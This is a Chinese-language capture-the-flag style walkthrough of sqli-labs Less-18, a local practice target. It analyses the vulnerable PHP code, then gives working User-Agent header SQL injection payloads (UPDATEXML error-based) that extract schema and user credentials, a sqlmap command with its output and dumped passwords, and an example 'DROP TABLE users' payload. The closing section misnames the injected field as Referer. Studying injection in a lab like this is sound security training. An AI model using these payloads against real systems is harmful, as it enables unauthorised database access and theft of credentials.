> 技术文档 > sqli-labs通关笔记-第18关 INSERT报错型Header-Agent SQL注入(单引号闭合 手工注入+脚本注入两种方法)

sqli-labs通关笔记-第18关 INSERT报错型Header-Agent SQL注入(单引号闭合 手工注入+脚本注入两种方法)

目录

一、Header注入

二、INSERT注入

三、源码分析

1、代码审计

2、SQL注入安全分析

3、SQL注入语句分析

四、渗透探测

1、进入靶场

2、注入点分析

(1)SQL语句

(2)admin登录探测

五、手工注入

1、获取数据库

2、获取表名

3、获取列名

4、获取数据值

六、sqlmap渗透实战

七、恢复数据库


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手注法和脚本法共两种方法分别对第18关Less 18基于报错型的Header-Agent注入关卡进行渗透实战,相对于1-17关的区别主要是SQL的注入位置由HTTP报文的GET或者POST方法传参变为了基于 HTTP 请求头字段。  

一、Header注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

Header 注入是指攻击者通过操纵 HTTP 请求头字段(如User - Agent、Cookie、Referer等),将恶意代码或非法参数注入到 Web 应用处理流程中,从而触发 SQL 注入、命令注入的攻击方式。

User-Agent 注入Header 注入的一种,攻击者通过篡改 HTTP 请求中的User-Agent字段,将恶意代码注入到服务器端逻辑中。由于User-Agent常用于日志记录、统计分析或条件判断,若后端直接拼接该值到 SQL、命令或模板中,可能导致注入风险。

Header注入与 GET/POST 注入的对比如下表所示

对比项 Header 注入 GET/POST 注入 注入位置 HTTP 请求头字段(如 Cookie、UA) URL 参数(GET)或表单数据(POST) 数据可见性 部分头字段(如 Cookie)需抓包查看 直接显示在 URL 或表单提交数据中 防御复杂度 需额外过滤头字段输入 常规过滤请求参数即可 典型 Payload Cookie: token=\' OR 1=1 -- ?id=1\' UNION SELECT ... 攻击隐蔽性 更高(用户难以察觉头字段修改) 较低(URL 参数易被用户或日志捕获) 适用场景 依赖头字段的认证 / 日志功能 常规表单提交、查询接口

核心差异:Header 注入利用 HTTP 协议的元数据字段,攻击路径更隐蔽,常被用于绕过常规参数过滤机制;而 GET/POST 注入直接针对用户可见的输入参数,防御和检测相对直观。两者均需通过预编译语句、输入过滤和最小权限原则进行防护。

二、INSERT注入

INSERT 注入是 SQL 注入的一种,通过构造恶意输入篡改INSERT语句逻辑,实现非授权数据写入或数据库破坏。

对比项 INSERT 注入 SELECT 注入 核心目标 非授权数据写入或结构破坏 敏感数据读取 典型场景 注册表单、数据导入 登录验证、搜索功能 数据流向 攻击者 → 数据库 数据库 → 攻击者 注入技术 语句拼接、多命令执行(如分号分隔) UNION 注入、报错注入、盲注 示例 Payload username=\'); DROP TABLE users; -- id=1\' OR 1=1 -- 防御重点 过滤分号、预编译插入参数 限制查询字段权限、预编译查询条件

三、源码分析

1、代码审计

本关卡Less18是基于Header-Agent的SQL注入关卡,打开对应的源码index.php,如下所示。

Less18关卡的源码实现了一个简单的用户登录系统,前端显示登录表单收集用户名和密码,后端使用MySQL验证凭据。登录成功后,系统会记录用户的User-Agent和IP地址到数据库并显示成功提示,失败则显示错误信息。详细注释后的第18关卡源码如下所示。

<?php// 包含数据库连接配置include(\"../sql-connections/sqli-connect.php\");error_reporting(0); // 关闭错误报告// 输入检查函数function check_input($con1, $value) { if(!empty($value)) { $value = substr($value,0,20); // 截断前20个字符 } // 如果启用了魔术引号,去除斜杠 if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // 如果不是数字,进行转义并加引号 if (!ctype_digit($value)) { $value = \"\'\" . mysqli_real_escape_string($con1, $value) . \"\'\"; } else { $value = intval($value); // 数字则转为整数 } return $value;}// 获取用户代理和IP$uagent = $_SERVER[\'HTTP_USER_AGENT\'];$IP = $_SERVER[\'REMOTE_ADDR\'];echo \"
\";echo \'Your IP ADDRESS is: \' .$IP;echo \"
\";// 处理表单提交if(isset($_POST[\'uname\']) && isset($_POST[\'passwd\'])) { // 过滤用户名和密码 $uname = check_input($con1, $_POST[\'uname\']); $passwd = check_input($con1, $_POST[\'passwd\']); // 记录登录尝试到文件 $fp=fopen(\'result.txt\',\'a\'); fwrite($fp,\'User Agent:\'.$uname.\"\\n\"); fclose($fp); // SQL查询验证用户 $sql=\"SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1\"; $result1 = mysqli_query($con1, $sql); $row1 = mysqli_fetch_array($result1, MYSQLI_BOTH); if($row1) { // 登录成功 echo \'\'; // 记录UA和IP到数据库 - 这里存在SQL注入风险点! $insert=\"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\'$uagent\', \'$IP\', $uname)\"; mysqli_query($con1, $insert); echo \'Your User Agent is: \' .$uagent; echo \"\"; echo \"
\"; print_r(mysqli_error($con1)); // 显示错误 echo \"

\"; echo \'sqli-labs通关笔记-第18关 INSERT报错型Header-Agent SQL注入(单引号闭合 手工注入+脚本注入两种方法)\'; // 成功图片 echo \"
\"; } else { // 登录失败 echo \'\'; print_r(mysqli_error($con1)); echo \"
\"; echo \"
\"; echo \'sqli-labs通关笔记-第18关 INSERT报错型Header-Agent SQL注入(单引号闭合 手工注入+脚本注入两种方法)\'; // 失败图片 echo \"
\"; }}?>

本关卡代码虽然对用户名和密码输入进行了过滤(截断、转义),但存在严重SQL注入安全问题:因为其未过滤User-Agent头,导致攻击者可通过修改UA头注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息。主要处理逻辑如下所示。

  • 前端功能:

    • 显示登录表单(username/password)

    • 显示用户IP地址

    • 根据登录结果显示不同图片:

      • 登录成功:显示flag.jpg

      • 登录失败:显示slap.jpg,显示数据库错误信息(调试用)

  • 后端功能:

    • 接收并过滤用户输入

    • 查询数据库验证用户凭据

    • 如果登录成功:

      • 执行INSERT SQL语句记录成功登录的UA和IP到uagents表

      • 显示数据库错误信息(调试用)

      • 记录登录尝试到result.txt文件

2、SQL注入安全分析

这个代码存在严重的Header-Agent注入安全问题,原因如下:

  • user-agent未过滤:在用户登录成功后,代码直接将未经处理的$uagent变量插入到SQL语句中:如下所示。

$uagent = $_SERVER[\'HTTP_USER_AGENT\'];$insert=\"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\'$uagent\', \'$IP\', $uname)\";
  • 字符串拼接方式:SQL语句使用单引号包裹用户输入,攻击者可以单引号注入恶意代码。

  • 数据库错误信息暴露:print_r(mysqli_error($con1))显示数据库错误细节,为攻击者提供有价值的调试信息,便于实现报错SQL注入渗透攻击。

3、SQL注入语句分析

分析注入语句对于需要注入的情况,由于注入点为agent,那么要构造闭合还需要加上ip,uname的内容,也就是注入语句尾部应该为 , \'$IP\', $uname)#,如下所示。

, \'$IP\', $uname)#

举例如果注入语句如下所示。

\' AND UPDATEXML(1,CONCAT(0x7e,(SELECT VERSION()),0x7e),1)

那么本关中,如果想insert渗透成功,需要在尾部增加内容,具体如下所示。

\' AND UPDATEXML(1,CONCAT(0x7e,(SELECT VERSION()),0x7e),1), \'$IP\', $uname)#

    四、渗透探测

    1、进入靶场

    进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

    http://127.0.0.1/sqli-labs/

    其中第18关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

    http://127.0.0.1/sqli-labs/#fm_imagemap

    点击上图红框的Less18关卡,进入到靶场的第18关卡字符型Header-Agent注入关卡,页面提示这是一个登录的页面,需要输入用户名和新密码,页面下方还有一个显示本地ip地址的页面输出,具体如下所示。

    http://192.168.59.1/sqli-labs/Less-18/

    2、注入点分析

    (1)SQL语句

    根据源码分析可知,本关卡未过滤User-Agent头,导致攻击者可通过修改UA头注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息,具体代码如下所示。

    $uagent = $_SERVER[\'HTTP_USER_AGENT\'];$insert=\"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\'$uagent\', \'$IP\', $uname)\";

    页面整体存在SQL风险,核心根源在于未对输入参数$_SERVER[\'HTTP_USER_AGENT\']做安全处理且暴露数据库错误细节,闭合方式为单引号。

    (2)admin登录探测

    输入用户名admin,密码admin登录页面,显示User-Agent信息,如下所示。

     在burpsuite的历史记录中找到这个报文,抓包效果如下所示。

    此时在报文request请求部分右键,选择copy to file并保存为sqli-labs18.txt,如下所示。

    五、手工注入

    1、获取数据库名

    如下所示,数据库的名称为“security”。

    \' or updatexml(1,concat(0x7e,(database())),1),\'\',\'\')#

    2、获取表名

    如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

    \' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,5)),1),\'\',\'\')#

    3、获取列名

    如下所示,数据库users表的列名分别为id,username,password。

    \'or UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE()and TABLE_NAME=\'users\'),0x7e),1),1,1) #

    4、获取数据值

    最后通过上一步获取到的列名来提取users表的username和password内容,如下为注入语句。

    \'or UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,\':\',password) FROM users LIMIT 0,1),0x7e),1),1,1) #

    如下所示,获取到第一个行对应的用户名和密码渗透成功。

    六、sqlmap渗透实战

    我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

    sqlmap -r sqli-labs18.txt --current-db --dump --batch

    其中sqli-labs18.txt中的注入点被修改为如下所示,User-Agent后面内容改为星号,标记其为星号,具体如下所示。

    POST /sqli-labs/Less-18/ HTTP/1.1Host: 192.168.59.1User-Agent: *Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://192.168.59.1/sqli-labs/Less-18/DNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 38uname=admin&passwd=admin&submit=Submit

    sqlmap渗透成功,可以通过报错法、时间盲注方法渗透成功,闭合方式正式具体信息如下所示。

    (custom) HEADER parameter \'User-Agent #1*\' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 983 HTTP(s) requests:---Parameter: User-Agent #1* ((custom) HEADER) Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: \'||(SELECT 0x7841637a WHERE 8475=8475 AND GTID_SUBSET(CONCAT(0x716b627871,(SELECT (ELT(8982=8982,1))),0x7176627071),8982))||\' Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: \'||(SELECT 0x576b5168 WHERE 3941=3941 AND (SELECT 9046 FROM (SELECT(SLEEP(5)))ahJZ))||\'---[01:34:52] [INFO] the back-end DBMS is MySQLweb application technology: PHP 5.5.9, Apache 2.4.39back-end DBMS: MySQL >= 5.6[01:34:52] [INFO] fetching current database[01:34:52] [INFO] retrieved: \'security\'current database: \'security\'Table: users[13 entries]+----+------------+----------+| id | password | username |+----+------------+----------+| 1 | Dumb | Dumb || 2 | I-kill-you | Angelina || 3 | p@ssword | Dummy || 4 | crappy | secure || 5 | stupidity | stupid || 6 | genious | superman || 7 | mob!le | batman || 8 | admin | admin || 9 | admin1 | admin1 || 10 | admin2 | admin2 || 11 | admin3 | admin3 || 12 | dumbo | dhakkan || 14 | admin4 | admin4 |+----+------------+----------+

    七、恢复数据库

    由于本关卡利用的是基于HTTP报文Refer字段的insert注入,insert注入会为数据库增加非常多的内容,接下来在navicat中清空uagents表格内容。